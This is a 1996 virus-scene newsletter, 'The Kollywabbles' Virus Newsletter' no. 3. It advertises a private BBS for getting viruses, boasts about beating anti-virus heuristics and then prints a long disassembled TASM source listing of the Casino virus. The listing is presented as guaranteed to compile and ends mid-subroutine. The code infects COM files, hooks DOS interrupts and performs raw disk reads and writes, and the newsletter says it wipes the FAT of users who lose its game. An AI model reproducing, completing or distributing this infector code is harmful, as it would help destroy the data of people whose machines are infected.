                     
                     The Kollywabbles' Virus Newsletter

Number 3, Volume 1                                         January 17th, 1996
______________________________________________________________________________

pSYbERneTIK OrGANisMs BBS HAS IT'S GRAND OPENING!!!

Yes folks, now there is an easier way to get the viruses that you need, and
all you have to do is pick up your phone (sortof)!  Well, the BBS isn't open
to the general public, but you can e-mail me on the BBS you got this 
newsletter from, and tell me how badly you want access.  I'll consider giving
you the number.  (I'm real cheap, and don't have a phone line for it, so I
am kinda uncomfortable giving out my number to strangers, but then, you
could always send me money for the line!).


SOURCE CODE

Well, I just realized there was a flaw in my little freedom of info notion,
and well, I'm gonna start giving out source code.  Included with this news-
letter will be a virus.  The virus source that I include will be of a virus
that is pretty well known, or is know by the "a/v community".  All source
will be 100% guarunteed to compile, unless you are a lamer that can't figure
out TASM.


ANTI-HEURISTICS

It has come to my attention that there is a LARGE number of anti-heuristic
viruses out there, and the general ease of ability for virus writers such
as myself to write a virus that an a/v program can't find at all.  It seems
that a/v programs are kinda falling behind in virus technology.  Us writers
are seemingly faced with little obstacles to get around, and a/v programs
are only a nuisance.  The a/v community is mostly making it's money off of
scare tactics and over-glorifying their products.  What they need to do, and
have always needed to do, is figure out some other way to detect viruses.
That's all I have to say about that.  Would you like a chocolate?


AUSTRALIA

The Australian virus scene is getting rather large.  The rise of groups such
as VLAD, etc. is starting to put Australia on the "virus map".  Although
I don't agree with some of the things that the Australian writers have to 
say about the US, they are coming up with a lot of innovative ideas that the
US is not.  Another Bulgaria?  Who knows.  Just as long as the Aussies keep
on looking for a Win95 virus, they are all right with me.  Good luck
Australia.


WINDOWS 95

That reminds me,  Windows 95 is becoming REAL popular with the lamers.  
They think it is the greatest thing ever to hit the computer world.  Me 
personally, I think it is just another step for IBMs becoming more like
Macintoshes.  It makes me sick to think if all of the control I'd lose over
my computer if I installed Win95.  But, well, there will always be DOS,
even if it is highly modified by Windows 95.


--CASINO VIRUS--

Here it is folks, a once popular virus (and an amusing one at that).  This
virus is ancient, but is extremely creative.  It will activate on three 
dates: Jan 15th, Apr 15th, and Aug 15th.  When it does, it will make the
user play a "casino" type game, and if the user loses, he loses his FAT.
--------------------------------CUT HERE--------------------------------------
  
PAGE  59,132
  
data_1e         equ     60Ch                    ; (0000:060C=0)
data_2e         equ     60Dh                    ; (0000:060D=0)
data_3e         equ     60Eh                    ; (0000:060E=0)
data_4e         equ     60Fh                    ; (0000:060F=0)
data_5e         equ     610h                    ; (0000:0610=0)
data_6e         equ     611h                    ; (0000:0611=0)
data_7e         equ     612h                    ; (0000:0612=0)
data_8e         equ     2                       ; (6AE6:0002=0)
data_10e        equ     3Bh                     ; (6AE6:003B=0)
data_11e        equ     3Dh                     ; (6AE6:003D=0)
data_12e        equ     3Fh                     ; (6AE6:003F=0)
data_13e        equ     40h                     ; (6AE6:0040=0)
data_14e        equ     41h                     ; (6AE6:0041=0)
data_15e        equ     43h                     ; (6AE6:0043=6AE6h)
data_16e        equ     45h                     ; (6AE6:0045=0)
data_17e        equ     47h                     ; (6AE6:0047=6AE6h)
data_18e        equ     4Dh                     ; (6AE6:004D=0)
data_19e        equ     68h                     ; (6AE6:0068=0)
data_20e        equ     7Eh                     ; (6AE6:007E=0)
data_21e        equ     80h                     ; (6AE6:0080=0)
data_33e        equ     716Eh                   ; (6AE6:716E=0)
  
seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a
  
  
                org     100h
  
casino          proc    far
  
start:
                nop
data_23         db      0E9h
data_24         db      48h
data_25         db      7, 'ello - Copyright S & S Intern'
                db      'ational, 1990', 0Ah, 0Dh, '$'
                db      1Ah
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AA'
                db      0E6h
                db      'jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
                db      'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  
casino          endp
  
;
;
;                       External Entry Point
;
;
  
int_24h_entry   proc    far
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx          ;The CX register is getting REAL tired
                inc     cx          ;by now. (kollywabbles)
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                inc     cx
                mov     ah,9
                mov     dx,offset data_25       ; (6AE6:0103=7)
                int     21h                     ; DOS Services  ah=function 09h
                                                ;  display char string at ds:dx
                int     20h                     ; Program Terminate
                db      0, 0, 0, 0, 0, 0Fh
                db      0, 0, 0E9h, 0D3h, 1, 0E9h
                db      0, 0, 0, 90h, 0E9h, 78h
                db      2Ah, 2Ah, 2Eh, 43h, 4Fh, 4Dh
                db      0
                db      'C:\COMMAND.COM'
                db      0, 43h, 4Fh, 4Dh, 4Dh, 41h
                db      4Eh, 44h, 0FFh
                db      2Eh, 43h, 4Fh, 4Dh
                db      15 dup (0)
                db      3Fh, 0, 0F0h, 3, 2, 0
                db      0B3h, 4Bh, 0FCh, 91h, 56h, 5
                db      79h, 10h, 0, 0, 0, 0
                db      0, 3
                db      8 dup (3Fh)
                db      43h, 4Fh, 4Dh, 3Fh, 8, 0
                db      1Eh, 2, 2Eh, 8Bh, 26h, 68h
                db      20h, 0A9h, 8Eh, 1Fh, 15h, 0E8h
                db      3, 0, 0
                db      'H1000.COM'
                db      9 dup (0)
                db      1Fh, 15h, 0A9h, 8Eh, 90h, 90h
                db      3Dh, 59h, 4Bh, 75h, 4, 0B8h
                db      66h, 6, 0CFh, 80h, 0FCh, 11h
                db      74h, 8, 80h, 0FCh, 12h, 74h
                db      3, 0EBh, 51h, 90h
loc_2:
                cmp     al,66h                  ; 'f'
                je      loc_4                   ; Jump if equal
                mov     al,66h                  ; 'f'
                int     21h                     ; DOS Services  ah=function 09h
                                                ;  display char string at ds:dx
                push    ax
                push    bx
                push    cx
                push    dx
                push    es
                mov     ah,2Fh                  ; '/'
                int     21h                     ; DOS Services  ah=function 2Fh
                                                ;  get DTA ptr into es:bx
                mov     al,es:[bx+10h]
                cmp     al,43h                  ; 'C'
                jne     loc_3                   ; Jump if not equal
                mov     al,es:[bx+11h]
                cmp     al,4Fh                  ; 'O'
                jne     loc_3                   ; Jump if not equal
                mov     al,es:[bx+12h]
                cmp     al,4Dh                  ; 'M'
                jne     loc_3                   ; Jump if not equal
                mov     ax,es:[bx+24h]
                cmp     ax,91Ah
                jb      loc_3                   ; Jump if below
                sub     ax,91Ah
                mov     cx,ax
                push    cx
                mov     cx,10h
                mov     dx,0
                div     cx                      ; ax,dx rem=dx:ax/reg
                pop     cx
                cmp     dx,0
                jne     loc_3                   ; Jump if not equal
                mov     es:[bx+24h],cx
loc_3:
                pop     es
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                iret                            ; Interrupt return
int_24h_entry   endp
  
loc_4:
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    bp
                push    ds
                push    es
                mov     bx,cs
                mov     ds,bx
                mov     al,0
                mov     ds:data_18e,al          ; (6AE6:004D=0)
                mov     al,ds:data_13e          ; (6AE6:0040=0)
                cmp     al,0FFh
                jne     loc_5                   ; Jump if not equal
                jmp     loc_15                  ; (06B2)
loc_5:
                mov     al,0FFh
                mov     ds:data_13e,al          ; (6AE6:0040=0)
                cmp     ah,4Bh                  ; 'K'
                je      loc_6                   ; Jump if equal
                cmp     ah,36h                  ; '6'
                je      loc_7                   ; Jump if equal
                jmp     loc_15                  ; (06B2)
loc_6:
                mov     ah,19h
                int     21h                     ; DOS Services  ah=function 19h
                                                ;  get default drive al  (0=a:)
                mov     ds:data_12e,al          ; (6AE6:003F=0)
                jmp     short loc_8             ; (0624)
                db      90h
loc_7:
                mov     ah,19h
                int     21h                     ; DOS Services  ah=function 19h
                                                ;  get default drive al  (0=a:)
                mov     ds:data_12e,al          ; (6AE6:003F=0)
                cmp     dl,0
                je      loc_8                   ; Jump if equal
                dec     dl
                mov     ah,0Eh
                int     21h                     ; DOS Services  ah=function 0Eh
                                                ;  set default drive dl  (0=a:)
loc_8:
                mov     ah,19h
                int     21h                     ; DOS Services  ah=function 19h
                                                ;  get default drive al  (0=a:)
                cmp     al,1
                ja      loc_9                   ; Jump if above
                mov     ch,0
                push    ds
                pop     es
                mov     bx,917h
                mov     al,1
                call    sub_3                   ; (07DB)
                mov     al,1
                call    sub_4                   ; (07EC)
                cmp     ah,0
                je      loc_9                   ; Jump if equal
                jmp     short loc_14            ; (069C)
                db      90h
loc_9:
                mov     ah,2Fh                  ; '/'
                int     21h                     ; DOS Services  ah=function 2Fh
                                                ;  get DTA ptr into es:bx
                mov     ds:data_14e,bx          ; (6AE6:0041=0)
                mov     ds:data_15e,es          ; (6AE6:0043=6AE6h)
                mov     dx,4Eh
                mov     ah,1Ah
                int     21h                     ; DOS Services  ah=function 1Ah
                                                ;  set DTA to ds:dx
                mov     dx,0Bh
                mov     cx,3Fh
                mov     ah,4Eh                  ; 'N'
                int     21h                     ; DOS Services  ah=function 4Eh
                                                ;  find 1st filenam match @ds:dx
                jc      loc_14                  ; Jump if carry Set
                mov     dx,6Ch
                call    sub_1                   ; (06EE)
                cmp     dl,1
                jne     loc_10                  ; Jump if not equal
                call    sub_2                   ; (073C)
                jmp     short loc_14            ; (069C)
                db      90h
loc_10:
                cmp     dl,3
                je      loc_11                  ; Jump if equal
                jmp     short loc_14            ; (069C)
                db      90h
loc_11:
                mov     ah,4Fh                  ; 'O'
                int     21h                     ; DOS Services  ah=function 4Fh
                                                ;  find next filename match
                jnc     loc_12                  ; Jump if carry=0
                jmp     short loc_14            ; (069C)
                db      90h
loc_12:
                mov     dx,6Ch
                call    sub_1                   ; (06EE)
                cmp     dl,1
                jne     loc_13                  ; Jump if not equal
                call    sub_2                   ; (073C)
                jmp     short loc_14            ; (069C)
                db      90h
loc_13:
                cmp     dl,3
                je      loc_11                  ; Jump if equal
loc_14:
                mov     dl,ds:data_12e          ; (6AE6:003F=0)
                mov     ah,0Eh
                int     21h                     ; DOS Services  ah=function 0Eh
                                                ;  set default drive dl  (0=a:)
                mov     dx,ds:data_14e          ; (6AE6:0041=0)
                mov     bx,ds:data_15e          ; (6AE6:0043=6AE6h)
                mov     ds,bx
                mov     ah,1Ah
                int     21h                     ; DOS Services  ah=function 1Ah
                                                ;  set DTA to ds:dx
loc_15:
                mov     ah,0
                mov     ds:data_13e,ah          ; (6AE6:0040=0)
                pop     es
                pop     ds
                pop     bp
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
;*              jmp     far ptr loc_1           ;*(0273:1460)
                db      0EAh, 60h, 14h, 73h, 2
                db      8Ch, 0CAh, 83h, 0C2h, 10h, 8Eh
                db      0DAh, 0BAh, 20h, 0, 0B4h, 41h
                db      0CDh, 21h, 0B8h, 21h, 35h, 0CDh
                db      21h, 8Ch, 6, 0D4h, 1, 89h
                db      1Eh, 0D2h, 1, 0BAh, 82h, 0
                db      0B8h, 21h, 25h, 0CDh, 21h, 0BAh
                db      1Bh, 0Ch, 0CDh
                db      27h
  
;
;                              SUBROUTINE
;
  
sub_1           proc    near
                mov     ax,ds:data_19e          ; (6AE6:0068=0)
                cmp     ax,0F5B9h
                ja      loc_20                  ; Jump if above
                mov     ax,4300h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
                test    cl,4
                jnz     loc_20                  ; Jump if not zero
                test    cl,1
                jz      loc_16                  ; Jump if zero
                and     cl,0FEh
                mov     ax,4301h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
loc_16:
                mov     ax,3D02h
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
                mov     bx,ax
                mov     dx,3
                mov     cx,1
                mov     ah,3Fh                  ; '?'
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, cx=bytes, to ds:dx
                jnc     loc_17                  ; Jump if carry=0
                jmp     short loc_19            ; (0732)
                db      90h
loc_17:
                cmp     ax,0
                jne     loc_18                  ; Jump if not equal
                jmp     short loc_19            ; (0732)
                db      90h
loc_18:
                mov     al,byte ptr ds:data_8e+1        ; (6AE6:0003=0)
                cmp     al,90h
                jne     loc_21                  ; Jump if not equal
loc_19:
                mov     ah,3Eh                  ; '>'
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
loc_20:
                mov     dl,3
                retn
loc_21:
                mov     dl,1
                retn
sub_1           endp
  
  
;
;                              SUBROUTINE
;
  
sub_2           proc    near
                mov     ax,5700h
                int     21h                     ; DOS Services  ah=function 57h
                                                ;  get/set file date & time
                mov     ds:data_20e,dx          ; (6AE6:007E=0)
                mov     ds:data_21e,cx          ; (6AE6:0080=0)
                push    bx
                call    sub_5                   ; (07FD)
                mov     bx,68h
                mov     ax,[bx]
                mov     dx,0
                mov     bx,10h
                div     bx                      ; ax,dx rem=dx:ax/reg
                inc     ax
                mov     ds:data_10e,ax          ; (6AE6:003B=0)
                mul     bx                      ; dx:ax = reg * ax
                mov     ds:data_11e,ax          ; (6AE6:003D=0)
                pop     bx
                mov     cx,ds:data_10e          ; (6AE6:003B=0)
                mov     si,35Fh
                mov     [si],cx
                mov     cx,0
                mov     dx,0
                mov     ax,4200h
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
                mov     dx,605h
                mov     cx,4
                mov     ah,3Fh                  ; '?'
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, cx=bytes, to ds:dx
                mov     cx,0
                mov     dx,ds:data_11e          ; (6AE6:003D=0)
                mov     ax,4200h
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
                mov     dx,0
                mov     cx,91Ah
                mov     ah,40h                  ; '@'
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file cx=bytes, to ds:dx
                cmp     ax,cx
                jb      loc_22                  ; Jump if below
                mov     al,ds:data_18e          ; (6AE6:004D=0)
                cmp     al,1
                je      loc_22                  ; Jump if equal
                mov     cx,0
                mov     dx,0
                mov     ax,4200h
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
                mov     si,9
                mov     ax,ds:data_11e          ; (6AE6:003D=0)
                add     ax,35Ch
                sub     ax,4
                mov     [si],ax
                mov     dx,7
                mov     cx,4
                mov     ah,40h                  ; '@'
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file cx=bytes, to ds:dx
loc_22:
                mov     dx,ds:data_20e          ; (6AE6:007E=0)
                mov     cx,ds:data_21e          ; (6AE6:0080=0)
                mov     ax,5701h
                int     21h                     ; DOS Services  ah=function 57h
                                                ;  get/set file date & time
                mov     ah,3Eh                  ; '>'
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                call    sub_6                   ; (0813)
                retn
sub_2           endp
  
  
;
;                              SUBROUTINE
;
  
sub_3           proc    near
                push    ax
                mov     ah,19h
                int     21h                     ; DOS Services  ah=function 19h
                                                ;  get default drive al  (0=a:)
                mov     dl,al
                pop     ax
                mov     dh,0
                mov     cl,1
                mov     ah,2
                int     13h                     ; Disk  dl=drive #: ah=func b2h
                                                ;  read sectors to memory es:bx
                retn
sub_3           endp
  
  
;
;                              SUBROUTINE
;
  
sub_4           proc    near
                push    ax
                mov     ah,19h
                int     21h                     ; DOS Services  ah=function 19h
                                                ;  get default drive al  (0=a:)
                mov     dl,al
                pop     ax
                mov     dh,0
                mov     cl,1
                mov     ah,3
                int     13h                     ; Disk  dl=drive #: ah=func b3h
                                                ;  write sectors from mem es:bx
                retn
sub_4           endp
  
  
;
;                              SUBROUTINE
;
  
sub_5           proc    near
                mov     ax,3524h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     ds:data_16e,bx          ; (6AE6:0045=0)
                mov     ds:data_17e,es          ; (6AE6:0047=6AE6h)
                mov     dx,335h
                mov     ax,2524h
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                retn
sub_5           endp
  
  
;
;                              SUBROUTINE
;
  
sub_6           proc    near
                mov     dx,ds:data_16e          ; (6AE6:0045=0)
                mov     cx,ds:data_17e          ; (6AE6:0047=6AE6h)
                push    ds
                push    cx
                pop     ds
                mov     ax,2524h
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                pop     ds
                retn
sub_6           endp
  
                db      50h, 53h, 51h, 52h, 1Eh, 6
                db      0B4h, 0, 0CDh, 13h, 0B4h, 1
                db      88h, 26h, 4Dh, 0, 0BFh, 0FFh
                db      0FFh, 8Eh, 6, 49h, 0, 8Bh
                db      1Eh, 4Bh, 0, 0B0h, 0, 26h
                db      88h, 7, 7, 1Fh, 5Ah, 59h
                db      5Bh, 58h, 0CFh, 8Ch, 0CAh, 0B9h
                db      3Fh, 0, 3, 0D1h, 83h, 0C2h
                db      10h, 8Eh, 0DAh, 0A1h, 3Dh, 0
                db      5, 3, 6, 0BBh, 0FEh, 0FFh
                db      2Bh, 0D8h, 89h, 1Eh, 3, 6
                db      0BBh, 5, 6, 8Ah, 7, 2Eh
                db      0A2h, 0, 1, 43h, 8Ah, 7
                db      2Eh, 0A2h, 1, 1, 43h, 8Ah
                db      7, 2Eh, 0A2h, 2, 1, 43h
                db      8Ah, 7, 2Eh, 0A2h, 3, 1
                db      0B4h, 2Ah, 0CDh, 21h, 80h, 0FAh
                db      0Fh, 74h, 3, 0E9h, 0A2h, 1
loc_23:
                cmp     dh,1
                je      loc_24                  ; Jump if equal
                cmp     dh,4
                je      loc_24                  ; Jump if equal
                cmp     dh,8
                je      loc_24                  ; Jump if equal
                jmp     loc_36                  ; (0A33)
loc_24:
                call    sub_8                   ; (09EB)
                push    ds
                pop     es
                mov     si,613h
                mov     di,613h
                mov     cx,305h
                cld                             ; Clear direction
  
locloop_25:
                lodsb                           ; String [si] to al
                sub     al,64h                  ; 'd'
                stosb                           ; Store al to es:[di]
                loop    locloop_25              ; Loop if cx > 0
  
                mov     dx,613h
                mov     ah,9
                int     21h                     ; DOS Services  ah=function 09h
                                                ;  display char string at ds:dx
loc_26:
                mov     ah,7
                int     21h                     ; DOS Services  ah=function 07h
                                                ;  get keybd char al, no echo
                mov     byte ptr ds:data_2e,64h ; (0000:060D=0) 'd'
                nop
                mov     byte ptr ds:data_3e,78h ; (0000:060E=0) 'x'
                nop
                mov     byte ptr ds:data_4e,0B4h        ; (0000:060F=0)
                nop
                mov     ah,2Ch                  ; ','
                int     21h                     ; DOS Services  ah=function 2Ch
                                                ;  get time, cx=hrs/min, dh=sec
                mov     bl,dh
                mov     bh,0
                mov     ch,0
                mov     dh,0
                add     cl,dl
                mov     ax,cx
                mov     cl,3
                div     cl                      ; al, ah rem = ax/reg
                mov     ds:data_5e,ah           ; (0000:0610=0)
                mov     ax,dx
                mov     dl,3
                div     dl                      ; al, ah rem = ax/reg
                mov     ds:data_6e,ah           ; (0000:0611=0)
                mov     ax,bx
                div     dl                      ; al, ah rem = ax/reg
                mov     ds:data_7e,ah           ; (0000:0612=0)
                dec     byte ptr ds:data_1e     ; (0000:060C=0)
                mov     al,ds:data_1e           ; (0000:060C=0)
                add     al,30h                  ; '0'
                mov     dh,0Dh
                mov     dl,26h                  ; '&'
                mov     bx,0
                mov     ah,2
                int     10h                     ; Video display   ah=functn 02h
                                                ;  set cursor location in dx
                mov     ah,0Eh
                int     10h                     ; Video display   ah=functn 0Eh
                                                ;  write char al, teletype mode
loc_27:
                mov     dx,1FFFh
loc_28:
                nop
                nop
                nop
                dec     dx
                jnz     loc_28                  ; Jump if not zero
                mov     al,ds:data_2e           ; (0000:060D=0)
                cmp     al,ds:data_5e           ; (0000:0610=0)
                je      loc_29                  ; Jump if equal
                mov     dl,19h
                mov     al,ds:data_2e           ; (0000:060D=0)
                call    sub_7                   ; (09C9)
                mov     al,ds:data_2e           ; (0000:060D=0)
                dec     al
                mov     ds:data_2e,al           ; (0000:060D=0)
loc_29:
                mov     al,ds:data_3e           ; (0000:060E=0)
                cmp     al,ds:data_6e           ; (0000:0611=0)
                je      loc_30                  ; Jump if equal
                mov     dl,21h                  ; '!'
                mov     al,ds:data_3e           ; (0000:060E=0)
                call    sub_7                   ; (09C9)
                dec     byte ptr ds:data_3e     ; (0000:060E=0)
loc_30:
                mov     al,ds:data_4e           ; (0000:060F=0)
                cmp     al,ds:data_7e           ; (0000:0612=0)
                je      loc_31                  ; Jump if equal
                mov     dl,29h                  ; ')'
                mov     al,ds:data_4e           ; (0000:060F=0)
                call    sub_7                   ; (09C9)
                dec     byte ptr ds:data_4e     ; (0000:060F=0)
loc_31:
                mov     al,ds:data_4e           ; (0000:060F=0)
                cmp     al,ds:data_7e           ; (0000:0612=0)
                jne     loc_27                  ; Jump if not equal
                mov     ah,ds:data_3e           ; (0000:060E=0)
                cmp     ah,ds:data_6e           ; (0000:0611=0)
                jne     loc_27                  ; Jump if not equal
                mov     bl,ds:data_2e           ; (0000:060D=0)
                cmp     bl,ds:data_5e           ; (0000:0610=0)
                jne     loc_27                  ; Jump if not equal
                cmp     al,0
                jne     loc_32                  ; Jump if not equal
                cmp     ah,0
                jne     loc_32                  ; Jump if not equal
                cmp     bl,0
                jne     loc_32                  ; Jump if not equal
                mov     dx,80Ah
                mov     ah,9
                int     21h                     ; DOS Services  ah=function 09h
                                                ;  display char string at ds:dx
                call    sub_9                   ; (0A18)
                jmp     short loc_35            ; (09C7)
                db      90h
loc_32:
                cmp     al,1
                jne     loc_33                  ; Jump if not equal
                cmp     ah,1
                jne     loc_33                  ; Jump if not equal
                cmp     bl,1
                jne     loc_33                  ; Jump if not equal
                mov     dx,88Dh
                mov     ah,9
                int     21h                     ; DOS Services  ah=function 09h
                                                ;  display char string at ds:dx
                jmp     short loc_34            ; (09BD)
                db      90h
loc_33:
                mov     al,ds:data_1e           ; (0000:060C=0)
                cmp     al,0
                je      loc_34                  ; Jump if equal
                jmp     loc_26                  ; (08BF)
loc_34:
                mov     dx,8D6h
                mov     ah,9
                int     21h                     ; DOS Services  ah=function 09h
                                                ;  display char string at ds:dx
                jmp     short loc_35            ; (09C7)
                nop
loc_35:
                jmp     short loc_35            ; (09C7)
  
;
;                              SUBROUTINE
;
  
sub_7           proc    near
                mov     ah,0
                push    ax
                mov     dh,0Bh
                mov     ah,2
                mov     bh,0
                int     10h                     ; Video display   ah=functn 02h
                                                ;  set cursor location in dx
                pop     ax
                mov     bl,3
                div     bl                      ; al, ah rem = ax/reg
                mov     bl,ah
                mov     bh,0
                add     bx,609h
                mov     al,[bx]
                mov     ah,0Eh
                mov     bx,0
                int     10h                     ; Video display   ah=functn 0Eh
                                                ;  write char al, teletype mode
                retn
sub_7           endp
  
  
;
;                              SUBROUTINE
;
  
sub_8           proc    near
                push    ds
                mov     bx,ds
                add     bx,1000h
                mov     ds,bx
                mov     bx,0
                mov     ah,19h
                int     21h                     ; DOS Services  ah=function 19h
                                                ;  get default drive al  (0=a:)
                mov     cx,50h
                mov     dx,0
                int     25h                     ; Absolute disk read, drive al
                popf                            ; Pop flags
                mov     bx,0
